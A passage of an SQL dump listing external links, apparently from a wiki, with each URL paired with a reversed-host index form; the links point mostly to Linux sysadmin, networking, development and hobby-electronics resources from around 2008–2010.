m/tools/ocs/ocsinstall.sh','http://com.sagonet.ks./tools/ocs/ocsinstall.sh'),(248,'http://wiki.ocsinventory-ng.org/index.php/Developers:Unified_standalone','http://org.ocsinventory-ng.wiki./index.php/Developers:Unified_standalone'),(248,'http://ks.sagonet.com/tools/ocs/standaloneBinaryBuild/ocs-standalone-bin-install-history.txt','http://com.sagonet.ks./tools/ocs/standaloneBinaryBuild/ocs-standalone-bin-install-history.txt'),(248,'http://ks.sagonet.com/tools/ocs/standaloneBinaryBuild/second.ocs.development.install.history.txt','http://com.sagonet.ks./tools/ocs/standaloneBinaryBuild/second.ocs.development.install.history.txt'),(248,'http://forums.ocsinventory-ng.org/viewtopic.php?id=4136','http://org.ocsinventory-ng.forums./viewtopic.php?id=4136'),(248,'http://blog.famillecollet.com/pages/Config-en','http://com.famillecollet.blog./pages/Config-en'),(248,'http://ks.sagonet.com/post_c5.2.txt','http://com.sagonet.ks./post_c5.2.txt'),(248,'http://ks.sagonet.com/tools/recovery/','http://com.sagonet.ks./tools/recovery/'),(248,'http://global.phoronix-test-suite.com/?k=author&u=SagoLabs','http://com.phoronix-test-suite.global./?k=author&u=SagoLabs'),(248,'http://svn.sagonet.com/svn/sago/','http://com.sagonet.svn./svn/sago/'),(248,'http://svn.sagonet.com/svn/sago/public/trunk/tools/smarttest/smarttest.php','http://com.sagonet.svn./svn/sago/public/trunk/tools/smarttest/smarttest.php'),(248,'http://kb.sagonet.com/Server_Benchmarks','http://com.sagonet.kb./Server_Benchmarks'),(248,'http://svn.sagonet.com/svn/sago/public/trunk/','http://com.sagonet.svn./svn/sago/public/trunk/'),(248,'http://www.eclipse.org/pdt/downloads/','http://org.eclipse.www./pdt/downloads/'),(248,'http://subclipse.tigris.org/servlets/ProjectProcess?pageID=p4wYuA','http://org.tigris.subclipse./servlets/ProjectProcess?pageID=p4wYuA'),(248,'http://subclipse.tigris.org/update_1.4.x','http://org.tigris.subclipse./update_1.4.x'),(248,'http://www.abbeyworkshop.com/howto/misc/svn01/','http://com.abbeyworkshop.www./howto/misc/svn01/'),(248,'http://kb.sagonet.com/High_Server_Loads_and_You','http://com.sagonet.kb./High_Server_Loads_and_You'),(248,'http://perl.apache.org/docs/1.0/guide/performance.html#httperf','http://org.apache.perl./docs/1.0/guide/performance.html#httperf'),(248,'http://feeds.runyourownserver.org/~r/runyourownserver/~3/353680242/ryos-podcast-episode0013.mp3','http://org.runyourownserver.feeds./~r/runyourownserver/~3/353680242/ryos-podcast-episode0013.mp3'),(248,'http://runyourownserver.org/files/Episode0013.html','http://org.runyourownserver./files/Episode0013.html'),(248,'http://xkyle.com/2008/09/24/dns-training-at-sago/','http://com.xkyle./2008/09/24/dns-training-at-sago/'),(248,'http://docstore.mik.ua/orelly/networking_2ndEd/dns/','http://ua.mik.docstore./orelly/networking_2ndEd/dns/'),(248,'http://www.zytrax.com/books/dns/','http://com.zytrax.www./books/dns/'),(248,'http://tldp.org/HOWTO/DNS-HOWTO.html','http://org.tldp./HOWTO/DNS-HOWTO.html'),(248,'http://www.madboa.com/geek/dig/','http://com.madboa.www./geek/dig/'),(248,'http://web.mit.edu/6.033/2000/www/handouts/h28-handson6sol.html','http://edu.mit.web./6.033/2000/www/handouts/h28-handson6sol.html'),(248,'http://subversion.tigris.org/faq.html#wc-out-of-date','http://org.tigris.subversion./faq.html#wc-out-of-date'),(248,'http://svn.haxx.se/users/archive-2004-09/0725.shtml','http://se.haxx.svn./users/archive-2004-09/0725.shtml'),(248,'http://www.joedog.org/index/siege-home','http://org.joedog.www./index/siege-home'),(249,'http://wiki.sagonet.com/wiki/Debian_Broadcom_NIC_Drivers','http://com.sagonet.wiki./wiki/Debian_Broadcom_NIC_Drivers'),(249,'http://vault.centos.org/5.2/','http://org.centos.vault./5.2/'),(249,'http://svn.sagonet.com/svn/sago/','http://com.sagonet.svn./svn/sago/'),(249,'http://centos-mirror.tpa.sagonet.net/','http://net.sagonet.tpa.centos-mirror./'),(250,'http://ks.sagonet.com/index.txt','http://com.sagonet.ks./index.txt'),(250,'http://ks.sagonet.com/?x=c52:::sda::cpnl:66.118.151.60:02:password','http://com.sagonet.ks./?x=c52:::sda::cpnl:66.118.151.60:02:password'),(250,'http://ks.sagonet.com/anaconda.txt','http://com.sagonet.ks./anaconda.txt'),(250,'http://ks.sagonet.com/simple/','http://com.sagonet.ks./simple/'),(250,'http://cobbler.sagonet.com/cobbler/web/','http://com.sagonet.cobbler./cobbler/web/'),(250,'http://ks.sagonet.com/?x=c52:::sda::cpnl:10.20.30.40:02','http://com.sagonet.ks./?x=c52:::sda::cpnl:10.20.30.40:02'),(250,'http://ks.sagonet.com/post_c5.2.txt','http://com.sagonet.ks./post_c5.2.txt'),(253,'http://en.wikipedia.org/wiki/Requirements_analysis','http://org.wikipedia.en./wiki/Requirements_analysis'),(253,'http://www.dd-wrt.com/wiki/index.php/Pound','http://com.dd-wrt.www./wiki/index.php/Pound'),(254,'https://linux.virtuozzo.hostingcompany.net:4643/vz/cp','https://net.hostingcompany.virtuozzo.linux.:4643/vz/cp'),(254,'http://layer1.cpanel.net/latest','http://net.cpanel.layer1./latest'),(257,'http://worldofxor.blogspot.com/2008/06/pdf-printer-on-opensuse.html','http://com.blogspot.worldofxor./2008/06/pdf-printer-on-opensuse.html'),(257,'http://linuxneophyte.com/print-to-pdf-cups-pdf/','http://com.linuxneophyte./print-to-pdf-cups-pdf/'),(257,'http://wiki.sabayonlinux.org/index.php?title=HOWTO:_Installing_CUPS_Print_to_PDF_driver','http://org.sabayonlinux.wiki./index.php?title=HOWTO:_Installing_CUPS_Print_to_PDF_driver'),(257,'http://localhost:631/printers/','http://localhost.:631/printers/'),(257,'http://www.faqs.org/docs/Linux-HOWTO/Printing-Usage-HOWTO.html','http://org.faqs.www./docs/Linux-HOWTO/Printing-Usage-HOWTO.html'),(257,'http://www.kde-apps.org/content/show.php/servicemenu-pdf+for+KDE3+and+KDE4?content=37321','http://org.kde-apps.www./content/show.php/servicemenu-pdf+for+KDE3+and+KDE4?content=37321'),(258,'http://ubuntuforums.org/showpost.php?p=8262965&postcount=541','http://org.ubuntuforums./showpost.php?p=8262965&postcount=541'),(258,'http://ubuntuforums.org/showthread.php?t=1290251','http://org.ubuntuforums./showthread.php?t=1290251'),(258,'http://forums.linuxmint.com/viewtopic.php?f=49&t=39042&start=0','http://com.linuxmint.forums./viewtopic.php?f=49&t=39042&start=0'),(258,'http://sourceforge.net/mailarchive/forum.php?thread_name=hj4s8o$vf$1@ger.gmane.org&forum_name=linuxwacom-discuss','http://net.sourceforge./mailarchive/forum.php?thread_name=hj4s8o$vf$1@ger.gmane.org&forum_name=linuxwacom-discuss'),(258,'http://www.gimptalk.com/forum/install-guide-wacom-drawing-tablets-with-gimp-t17992.html-sid=a44c16a5e47a1ceb6f5ea353c270d458','http://com.gimptalk.www./forum/install-guide-wacom-drawing-tablets-with-gimp-t17992.html-sid=a44c16a5e47a1ceb6f5ea353c270d458'),(258,'http://en.opensuse.org/Wacom_USB_tablet_howto#wacdump','http://org.opensuse.en./Wacom_USB_tablet_howto#wacdump'),(258,'http://linuxwacom.sourceforge.net/index.php/howto/testtablet','http://net.sourceforge.linuxwacom./index.php/howto/testtablet'),(258,'http://cdnetworks-us-2.dl.sourceforge.net/project/getwacom/getwacom.py','http://net.sourceforge.dl.cdnetworks-us-2./project/getwacom/getwacom.py'),(259,'http://www.theparisreview.org/viewbook.php/prmMID/5976','http://org.theparisreview.www./viewbook.php/prmMID/5976'),(260,'http://forums.fedoraforum.org/showthread.php?p=924980','http://org.fedoraforum.forums./showthread.php?p=924980'),(260,'http://mediatomb.cc/pages/transcoding','http://cc.mediatomb./pages/transcoding'),(260,'http://ubuntuforums.org/showthread.php?t=830268&page=2','http://org.ubuntuforums./showthread.php?t=830268&page=2'),(260,'http://mediatomb.cc/pages/userinterface','http://cc.mediatomb./pages/userinterface'),(260,'http://www.rbgrn.net/content/21-how-to-choose-dlna-media-server-windows-mac-os-x-or-linux','http://net.rbgrn.www./content/21-how-to-choose-dlna-media-server-windows-mac-os-x-or-linux'),(48,'http://edugen.wiley.com','http://com.wiley.edugen./'),(48,'http://he-cda.wiley.com/WileyCDA/HigherEdTitle/productCd-0470377852.html','http://com.wiley.he-cda./WileyCDA/HigherEdTitle/productCd-0470377852.html'),(48,'http://bcs.wiley.com/he-bcs/Books?action=index&itemId=0470377852&bcsId=4644','http://com.wiley.bcs./he-bcs/Books?action=index&itemId=0470377852&bcsId=4644'),(259,'http://www.64bit.sk/sun-fire-x4540-dual-quad-core-cpu-opteron-2356-32-gb-ram-12-tb-storage-48-x-250-gb-sata/1365/product.html','http://sk.64bit.www./sun-fire-x4540-dual-quad-core-cpu-opteron-2356-32-gb-ram-12-tb-storage-48-x-250-gb-sata/1365/product.html'),(261,'http://webchat.freenode.net/','http://net.freenode.webchat./'),(261,'http://java.freenode.net/','http://net.freenode.java./'),(261,'http://www.ircbeginner.com/ircinfo/etiquette.html','http://com.ircbeginner.www./ircinfo/etiquette.html'),(261,'http://pastebin.com/','http://com.pastebin./'),(261,'http://wiki.freeculture.org/Ways_around_an_IRC_block','http://org.freeculture.wiki./Ways_around_an_IRC_block'),(261,'http://irchelp.org/irchelp/irctutorial.html','http://org.irchelp./irchelp/irctutorial.html'),(261,'http://www.youtube.com/watch?v=O2rGTXHvPCQ','http://com.youtube.www./watch?v=O2rGTXHvPCQ'),(261,'http://en.wikipedia.org/wiki/Internet_Relay_Chat','http://org.wikipedia.en./wiki/Internet_Relay_Chat'),(263,'http://instructor.example.com/pub','http://com.example.instructor./pub'),(263,'http://instructor.example.com/vcracker.php?S=19','http://com.example.instructor./vcracker.php?S=19'),(263,'http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-3.noarch.rpm','http://com.redhat.fedora.download./pub/epel/5/i386/epel-release-5-3.noarch.rpm'),(263,'http://www.linuxjournal.com/content/tech-tip-port-forwarding-virtualbox-vboxmanage','http://com.linuxjournal.www./content/tech-tip-port-forwarding-virtualbox-vboxmanage'),(263,'https://vb.serverknecht.de/showthread.php?t=163127','https://de.serverknecht.vb./showthread.php?t=163127'),(265,'https://bugs.launchpad.net/ubuntu/+source/linux/+bug/309901','https://net.launchpad.bugs./ubuntu/+source/linux/+bug/309901'),(265,'https://bugs.launchpad.net/ubuntu/+bug/270794','https://net.launchpad.bugs./ubuntu/+bug/270794'),(265,'http://hi.baidu.com/pkubuntu/blog/item/d7413c01c8747b0b7bec2c9e.html','http://com.baidu.hi./pkubuntu/blog/item/d7413c01c8747b0b7bec2c9e.html'),(265,'http://kerneltrap.org/mailarchive/linux-kernel/2008/9/23/3387114','http://org.kerneltrap./mailarchive/linux-kernel/2008/9/23/3387114'),(265,'http://www.gossamer-threads.com/lists/linux/kernel/968016','http://com.gossamer-threads.www./lists/linux/kernel/968016'),(266,'http://en.opensuse.org/OpenLDAP/Basic_setup','http://org.opensuse.en./OpenLDAP/Basic_setup'),(266,'http://en.opensuse.org/Howto_LDAP_server','http://org.opensuse.en./Howto_LDAP_server'),(266,'http://en.opensuse.org/Howto_LDAP_userAuth','http://org.opensuse.en./Howto_LDAP_userAuth'),(266,'http://freelinuxbooks.com/online_books/suse_linux_guides/SLES10/suse_enterprise_linux_server_installation_admin/sec_ldap_data.html','http://com.freelinuxbooks./online_books/suse_linux_guides/SLES10/suse_enterprise_linux_server_installation_admin/sec_ldap_data.html'),(267,'http://www.yellowdoglinux.com/','http://com.yellowdoglinux.www./'),(267,'http://www.debian.org/ports/powerpc/','http://org.debian.www./ports/powerpc/'),(267,'http://en.opensuse.org/PS3','http://org.opensuse.en./PS3'),(267,'http://download.opensuse.org/distribution/11.1/iso/','http://org.opensuse.download./distribution/11.1/iso/'),(267,'http://use.perl.org/~statico/journal/23392','http://org.perl.use./~statico/journal/23392'),(267,'http://penguinppc.org/about/distributions.php','http://org.penguinppc./about/distributions.php'),(267,'http://www.debian.org/releases/stable/powerpc/ch05s01.html.en','http://org.debian.www./releases/stable/powerpc/ch05s01.html.en'),(208,'http://yo-linux.com/HOWTO/RCS.html','http://com.yo-linux./HOWTO/RCS.html'),(232,'http://forums.cpanel.net/f5/error-ssl_error_rx_record_too_long-when-accessing-default-ssl-page-105385.html','http://net.cpanel.forums./f5/error-ssl_error_rx_record_too_long-when-accessing-default-ssl-page-105385.html'),(232,'http://forums.cpanel.net/f34/ssl-woes-148369.html','http://net.cpanel.forums./f34/ssl-woes-148369.html'),(269,'http://wiki.squid-cache.org/SquidFaq/SquidLogs#squid_result_codes','http://org.squid-cache.wiki./SquidFaq/SquidLogs#squid_result_codes'),(269,'http://wiki.squid-cache.org/SquidFaq','http://org.squid-cache.wiki./SquidFaq'),(269,'http://www.i.suck.com/foo.html$','http://com.suck.i.www./foo.html$'),(269,'http://wiki.squid-cache.org/SquidFaq/OperatingSquid#How_can_I_make_Squid_NOT_cache_some_servers_or_URLs.3F','http://org.squid-cache.wiki./SquidFaq/OperatingSquid#How_can_I_make_Squid_NOT_cache_some_servers_or_URLs.3F'),(269,'http://www.bec.at/support/squid/Users-Guide/x922.html','http://at.bec.www./support/squid/Users-Guide/x922.html'),(232,'http://www.suseblog.com/opensuse-linux-103-signing-self-generated-ssl-certificates-as-your-own-certificate-authority','http://com.suseblog.www./opensuse-linux-103-signing-self-generated-ssl-certificates-as-your-own-certificate-authority'),(270,'http://cfengine.com/pages/demos?view=Installation','http://com.cfengine./pages/demos?view=Installation'),(270,'http://watson-wilson.ca/blog/cf3-tutorial.html','http://ca.watson-wilson./blog/cf3-tutorial.html'),(270,'http://www.mail-archive.com/help-cfengine@cfengine.org/msg00527.html','http://com.mail-archive.www./help-cfengine@cfengine.org/msg00527.html'),(195,'http://ftp.uk.debian.org/debian/dists/lenny/main/installer-i386/current/images/netboot/debian-installer/i386/linux','http://org.debian.uk.ftp./debian/dists/lenny/main/installer-i386/current/images/netboot/debian-installer/i386/linux'),(195,'http://ftp.uk.debian.org/debian/dists/lenny/main/installer-i386/current/images/netboot/debian-installer/i386/initrd.gz','http://org.debian.uk.ftp./debian/dists/lenny/main/installer-i386/current/images/netboot/debian-installer/i386/initrd.gz'),(195,'http://archive.ubuntu.com/ubuntu/dists/karmic/main/installer-amd64/current/images/netboot/ubuntu-installer/amd64/','http://com.ubuntu.archive./ubuntu/dists/karmic/main/installer-amd64/current/images/netboot/ubuntu-installer/amd64/'),(195,'http://www.debian-administration.org/articles/478','http://org.debian-administration.www./articles/478'),(195,'http://wiki.debian.org/DebianInstaller/Preseed','http://org.debian.wiki./DebianInstaller/Preseed'),(195,'http://ubuntu.media.mit.edu/ubuntu-releases/9.10/ubuntu-9.10-server-i386.iso','http://edu.mit.media.ubuntu./ubuntu-releases/9.10/ubuntu-9.10-server-i386.iso'),(195,'http://ubuntu.media.mit.edu/ubuntu-releases/8.04/ubuntu-8.04.4-server-i386.iso','http://edu.mit.media.ubuntu./ubuntu-releases/8.04/ubuntu-8.04.4-server-i386.iso'),(270,'http://www.vim.org/scripts/script.php?script_id=2904','http://org.vim.www./scripts/script.php?script_id=2904'),(270,'http://dev.gentoo.org/~ramereth/vim/syntax/cfengine.vim','http://org.gentoo.dev./~ramereth/vim/syntax/cfengine.vim'),(270,'http://www.ibm.com/developerworks/library/l-cfe.html','http://com.ibm.www./developerworks/library/l-cfe.html'),(270,'http://vimdoc.sourceforge.net/htmldoc/syntax.html','http://net.sourceforge.vimdoc./htmldoc/syntax.html'),(270,'http://www.cfengine.org/manuals/CfengineStdLibrary.html#Contents','http://org.cfengine.www./manuals/CfengineStdLibrary.html#Contents'),(194,'http://blogs.sun.com/observatory/entry/ls_colors','http://com.sun.blogs./observatory/entry/ls_colors'),(271,'http://techreport.com/articles.x/18216','http://com.techreport./articles.x/18216'),(271,'http://www.tigerdirect.com/applications/category/category_slc.asp?CatId=2510&name=15','http://com.tigerdirect.www./applications/category/category_slc.asp?CatId=2510&name=15'),(271,'http://kb2.adobe.com/cps/405/kb405711.html#ATI%20Fire%20GL','http://com.adobe.kb2./cps/405/kb405711.html#ATI%20Fire%20GL'),(271,'http://kb2.adobe.com/cps/404/kb404898.html#supported','http://com.adobe.kb2./cps/404/kb404898.html#supported'),(271,'http://www.officedepot.com/a/products/328626/HP-Pavilion-dm3-1030us-13-3/','http://com.officedepot.www./a/products/328626/HP-Pavilion-dm3-1030us-13-3/'),(271,'http://www.sucka.net/2009/08/installing-adobe-cs4-in-wine/','http://net.sucka.www./2009/08/installing-adobe-cs4-in-wine/'),(271,'http://ubuntuforums.org/showthread.php?t=944034','http://org.ubuntuforums./showthread.php?t=944034'),(114,'http://www.network-theory.co.uk/valgrind/manual/','http://uk.co.network-theory.www./valgrind/manual/'),(114,'http://www.network-theory.co.uk/gcc/intro/','http://uk.co.network-theory.www./gcc/intro/'),(272,'http://www.tuxradar.com/practicalphp/15/10/2','http://com.tuxradar.www./practicalphp/15/10/2'),(236,'http://www.delorie.com/djgpp/doc/ug/larger/makefiles.html','http://com.delorie.www./djgpp/doc/ug/larger/makefiles.html'),(236,'http://www.gnu.org/prep/standards/html_node/Makefile-Conventions.html','http://org.gnu.www./prep/standards/html_node/Makefile-Conventions.html'),(236,'http://www.opussoftware.com/tutorial/TutMakefile.htm','http://com.opussoftware.www./tutorial/TutMakefile.htm'),(236,'http://sources.redhat.com/autobook/','http://com.redhat.sources./autobook/'),(275,'http://timelordz.com/scripts/solaris/sol10-post-install-setup.sh','http://com.timelordz./scripts/solaris/sol10-post-install-setup.sh'),(276,'http://bugs.mysql.com/bug.php?id=46434','http://com.mysql.bugs./bug.php?id=46434'),(276,'http://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file','http://com.mysql.dev./doc/refman/5.1/en/privileges-provided.html#priv_file'),(277,'http://techbase.kde.org/Development/Tutorials/Debugging/How_to_create_useful_crash_reports','http://org.kde.techbase./Development/Tutorials/Debugging/How_to_create_useful_crash_reports'),(277,'http://packages.ubuntu.com','http://com.ubuntu.packages./'),(245,'http://www.ladyada.net/learn/arduino/lcd.html','http://net.ladyada.www./learn/arduino/lcd.html'),(278,'http://www.gaslampfantasy.com/','http://com.gaslampfantasy.www./'),(278,'http://etheremporium.pbworks.com/Clothing-and-Costuming','http://com.pbworks.etheremporium./Clothing-and-Costuming'),(278,'http://features.cgsociety.org/story_custom.php?story_id=4936&page=2','http://org.cgsociety.features./story_custom.php?story_id=4936&page=2'),(278,'http://secondlife.com/destinations/roleplay/steampunk','http://com.secondlife./destinations/roleplay/steampunk'),(279,'http://gnaural.sourceforge.net/','http://net.sourceforge.gnaural./'),(279,'http://pantheon.yale.edu/~bbl2/GnauralExampleFiles.html','http://edu.yale.pantheon./~bbl2/GnauralExampleFiles.html'),(280,'http://www.debianadmin.com/install-and-configure-apache2-with-php5-and-ssl-support-in-debian-etch.html','http://com.debianadmin.www./install-and-configure-apache2-with-php5-and-ssl-support-in-debian-etch.html'),(280,'http://www.debian-administration.org/articles/349','http://org.debian-administration.www./articles/349'),(280,'http://groups.google.com/group/phusion-passenger/browse_thread/thread/6d35fe602987913f/bfbbc4ade89cef34?pli=1','http://com.google.groups./group/phusion-passenger/browse_thread/thread/6d35fe602987913f/bfbbc4ade89cef34?pli=1'),(236,'http://tldp.org/HOWTO/Program-Library-HOWTO/index.html','http://org.tldp./HOWTO/Program-Library-HOWTO/index.html'),(142,'http://dev.mysql.com/doc/refman/5.1/en/old-client.html','http://com.mysql.dev./doc/refman/5.1/en/old-client.html'),(142,'http://www.linuxquestions.org/questions/linux-software-2/how-to-start-mysqld-with-the-old-passwords-option-256287/','http://org.linuxquestions.www./questions/linux-software-2/how-to-start-mysqld-with-the-old-passwords-option-256287/'),(142,'http://forums.mysql.com/read.php?30,27073,27090#msg-27090','http://com.mysql.forums./read.php?30,27073,27090#msg-27090'),(142,'http://lists.mysql.com/mysql/180963','http://com.mysql.lists./mysql/180963'),(236,'http://www.freebsd.org/doc/en/books/developers-handbook/index.html','http://org.freebsd.www./doc/en/books/developers-handbook/index.html'),(277,'http://forum.kde.org/viewtopic.php?f=63&t=62410','http://org.kde.forum./viewtopic.php?f=63&t=62410'),(245,'http://blogs.sun.com/nick/entry/getting_arduino_duemilanove_to_work','http://com.sun.blogs./nick/entry/getting_arduino_duemilanove_to_work'),(245,'http://www.edplese.com/arduino-on-solaris.html','http://com.edplese.www./arduino-on-solaris.html'),(245,'http://en.opensuse.org/Arduino','http://org.opensuse.en./Arduino'),(245,'http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1245438975','http://cc.arduino.www./cgi-bin/yabb2/YaBB.pl?num=1245438975'),(245,'http://hub.opensolaris.org/bin/view/Main/arduino','http://org.opensolaris.hub./bin/view/Main/arduino'),(282,'http://www.sun.com/io_technologies/usb/USB-Faq.html#Serial','http://com.sun.www./io_technologies/usb/USB-Faq.html#Serial'),(282,'http://www.sun.com/bigadmin/hcl/','http://com.sun.www./bigadmin/hcl/'),(283,'http://www.linuxjournal.com/magazine/nginx-high-performance-web-server-and-reverse-proxy','http://com.linuxjournal.www./magazine/nginx-high-performance-web-server-and-reverse-proxy'),(283,'http://blogs.sun.com/dap/entry/event_ports_and_performance','http://com.sun.blogs./dap/entry/event_ports_and_performance'),(284,'http://support.apple.com/kb/HT1305','http://com.apple.support./kb/HT1305'),(284,'http://www.mac-pro.com','http://com.mac-pro.www./'),(284,'http://www.allmac.com/','http://com.allmac.www./'),(284,'http://www.welovemacs.com/','http://com.welovemacs.www./'),(284,'http://www.macpalace.com','http://com.macpalace.www./'),(284,'http://support.apple.com/kb/SP96','http://com.apple.support./kb/SP96'),(285,'http://en.androidwiki.com/wiki/Applications','http://com.androidwiki.en./wiki/Applications'),(285,'http://www.android.com/market/paid.html','http://com.android.www./market/paid.html'),(285,'http://www.androlib.com/android.application.divestoclimb-gasmixer-qwj.aspx','http://com.androlib.www./android.application.divestoclimb-gasmixer-qwj.aspx'),(285,'http://www.androlib.com/android.application.com-shuffledbits-divelog-nijm.aspx','http://com.androlib.www./android.application.com-shuffledbits-divelog-nijm.aspx'),(285,'http://activefrequency.com/blog/2009/ground-up-android-getting-started-with-app-development/','http://com.activefrequency./blog/2009/ground-up-android-getting-started-with-app-development/'),(285,'http://developer.android.com/guide/tutorials/notepad/index.html','http://com.android.developer./guide/tutorials/notepad/index.html'),(285,'http://www.ibm.com/developerworks/opensource/library/os-android-devel/','http://com.ibm.www./developerworks/opensource/library/os-android-devel/'),(285,'http://developer.android.com/sdk/installing.html','http://com.android.developer./sdk/installing.html'),(285,'http://www.youtube.com/watch?v=QBGfUs9mQYY&feature=channel','http://com.youtube.www./watch?v=QBGfUs9mQYY&feature=channel'),(285,'http://www.youtube.com/user/androiddevelopers','http://com.youtube.www./user/androiddevelopers'),(245,'http://www.hacktronics.com/Table/Tutorials/','http://com.hacktronics.www./Table/Tutorials/'),(245,'http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl','http://cc.arduino.www./cgi-bin/yabb2/YaBB.pl'),(245,'http://forums.adafruit.com/','http://com.adafruit.forums./'),(231,'http://en.opensuse.org/Setting_up_a_Subversion_server_using_Apache2','http://org.opensuse.en./Setting_up_a_Subversion_server_using_Apache2'),(231,'http://www.websvn.info/','http://info.websvn.www./'),(231,'http://www.ferdychristant.com/blog//archive/DOMM-6NGCCN','http://com.ferdychristant.www./blog//archive/DOMM-6NGCCN'),(245,'http://www.earthshinedesign.co.uk/ASKManual/Site/ASKManual.html','http://uk.co.earthshinedesign.www./ASKManual/Site/ASKManual.html'),(100,'http://www.suseblog.com/opensuse-linux-quick-zypper-tutorial','http://com.suseblog.www./opensuse-linux-quick-zypper-tutorial'),(231,'http://www.section6.net/wiki/index.php/Setting_up_Subversion_in_Linux','http://net.section6.www./wiki/index.php/Setting_up_Subversion_in_Linux'),(231,'http://articles.slicehost.com/2007/9/5/introduction-to-subversion','http://com.slicehost.articles./2007/9/5/introduction-to-subversion'),(230,'http://eclipse.dzone.com/articles/complete-your-eclipse-refcard','http://com.dzone.eclipse./articles/complete-your-eclipse-refcard'),(286,'http://www.aamva.org/KnowledgeCenter/DLIDStandards/IDSecurityTechnologies/uslicensetechnology.htm','http://org.aamva.www./KnowledgeCenter/DLIDStandards/IDSecurityTechnologies/uslicensetechnology.htm'),(286,'http://hackmiami.org/2008/12/21/magnetic-stripe-card-reader/','http://org.hackmiami./2008/12/21/magnetic-stripe-card-reader/'),(286,'http://www.kingsdesign.com/wordpress/?p=60','http://com.kingsdesign.www./wordpress/?p=60'),(286,'http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1234488745/0','http://cc.arduino.www./cgi-bin/yabb2/YaBB.pl?num=1234488745/0'),(286,'http://makezine.com/01/magstripe/','http://com.makezine./01/magstripe/'),(286,'http://www.meci.com/index.php/electrical/manual-credit-card-reader.html','http://com.meci.www./index.php/electrical/manual-credit-card-reader.html'),(286,'http://search.digikey.com/scripts/DkSearch/dksus.dll?Cat=3670872&k=Omron%20V3A','http://com.digikey.search./scripts/DkSearch/dksus.dll?Cat=3670872&k=Omron%20V3A'),(286,'http://en.wikipedia.org/wiki/Magnetic_stripe_card#Magnetic_stripe_coercivity','http://org.wikipedia.en./wiki/Magnetic_stripe_card#Magnetic_stripe_coercivity'),(286,'http://stripesnoop.sourceforge.net/','http://net.sourceforge.stripesnoop./'),(287,'http://www.marcofolio.net/joomla/7_tips_to_optimize_joomla_security.html','http://net.marcofolio.www./joomla/7_tips_to_optimize_joomla_security.html'),(288,'http://www.exploit-db.com/','http://com.exploit-db.www./'),(288,'http://www.milw0rm.com/','http://com.milw0rm.www./'),(288,'http://xorl.wordpress.com/','http://com.wordpress.xorl./'),(230,'http://www.nileshk.com/svn_in_eclipse_subversive_and_svnkit_for_subversion_1_6','http://com.nileshk.www./svn_in_eclipse_subversive_and_svnkit_for_subversion_1_6'),(232,'http://www.madboa.com/geek/openssl/','http://com.madboa.www./geek/openssl/'),(289,'http://www.poly.usf.edu/documents/cereal/docs/C19%20-%20%20EIAE%20-%20softice%20techy%20stuff.pdf','http://edu.usf.poly.www./documents/cereal/docs/C19%20-%20%20EIAE%20-%20softice%20techy%20stuff.pdf'),(289,'http://softice.lakeland.usf.edu/wiki/index.php/Special:Allpages','http://edu.usf.lakeland.softice./wiki/index.php/Special:Allpages'),(290,'http://stripesnoop.sourceforge.net','http://net.sourceforge.stripesnoop./'),(290,'http://www.javapos.com/downloads/UnifiedPOSVersion1.7.pdf','http://com.javapos.www./downloads/UnifiedPOSVersion1.7.pdf'),(290,'http://www.javapos.com/docs.html','http://com.javapos.www./docs.html'),(290,'http://jposloader.sourceforge.net/','http://net.sourceforge.jposloader./'),(290,'http://www.ingenico-us.com/development-tools_103.html?lg=US','http://com.ingenico-us.www./development-tools_103.html?lg=US'),(290,'http://www.ingenico-us.com/i6580-titan-i6580-titan_28.html?lg=US&productId=142#0','http://com.ingenico-us.www./i6580-titan-i6580-titan_28.html?lg=US&productId=142#0'),(290,'http://www.ingenico-us.com/INGENICO_GALLERY_CONTENT/Documents/USA/products/pinpad/ING_BROCH_PS_i6580_EN_V1-A.pdf','http://com.ingenico-us.www./INGENICO_GALLERY_CONTENT/Documents/USA/products/pinpad/ING_BROCH_PS_i6580_EN_V1-A.pdf'),(290,'http://www.ingenico-us.com/INGENICO_GALLERY_CONTENT/Documents/USA/products/signaturecapture/DL00458_RevE_i6500.pdf','http://com.ingenico-us.www./INGENICO_GALLERY_CONTENT/Documents/USA/products/signaturecapture/DL00458_RevE_i6500.pdf'),(245,'http://hacknmod.com/hack/top-40-arduino-projects-of-the-web/','http://com.hacknmod./hack/top-40-arduino-projects-of-the-web/'),(291,'http://www.howtoforge.com/kernel_compilation_centos','http://com.howtoforge.www./kernel_compilation_centos'),(291,'http://kernelnewbies.org','http://org.kernelnewbies./'),(291,'http://tldp.org/HOWTO/Software-Building-HOWTO.html','http://org.tldp./HOWTO/Software-Building-HOWTO.html'),(291,'http://www.linuxsa.org.au/meetings/reveng-0.2.pdf','http://au.org.linuxsa.www./meetings/reveng-0.2.pdf'),(291,'http://www.velocityreviews.com/forums/t539793-cant-typedef-a-struct.html','http://com.velocityreviews.www./forums/t539793-cant-typedef-a-struct.html'),(292,'http://www.redhat.com/docs/manuals/dir-server/8.1/schema/nsAIMpresence.html','http://com.redhat.www./docs/manuals/dir-server/8.1/schema/nsAIMpresence.html'),(292,'http://wiki.neddix.com/How_to_setup_the_CentOS_Directory_Server_(389_Directory_Server)','http://com.neddix.wiki./How_to_setup_the_CentOS_Directory_Server_(389_Directory_Server)'),(292,'http://www.linuxmail.info/389-directory-server-setup-howto-centos-5/','http://info.linuxmail.www./389-directory-server-setup-howto-centos-5/'),(292,'http://www.redhat.com/docs/manuals/dir-server/install/8.0/index.html','http://com.redhat.www./docs/manuals/dir-server/install/8.0/index.html'),(292,'http://www.php.happycodings.com/LDAP/code7.html','http://com.happycodings.php.www./LDAP/code7.html'),(292,'http://articles.techrepublic.com.com/5100-10878_11-5032010.html','http://com.com.techrepublic.articles./5100-10878_11-5032010.html'),(292,'http://stackoverflow.com/questions/546438/authenticating-user-using-ldap-from-php','http://com.stackoverflow./questions/546438/authenticating-user-using-ldap-from-php'),(292,'http://framework.zend.com/manual/en/zend.ldap.introduction.html','http://com.zend.framework./manual/en/zend.ldap.introduction.html'),(292,'http://forums.cpanel.net/f5/cpanel-php4-ldap-144577.html','http://net.cpanel.forums./f5/cpanel-php4-ldap-144577.html'),(292,'http://www.computerperformance.co.uk/Logon/LDAP_attributes_active_directory.htm','http://uk.co.computerperformance.www./Logon/LDAP_attributes_active_directory.htm'),(292,'http://www.tutorialized.com/view/tutorial/Authenticate-Users-Using-an-LDAP-Database/17795','http://com.tutorial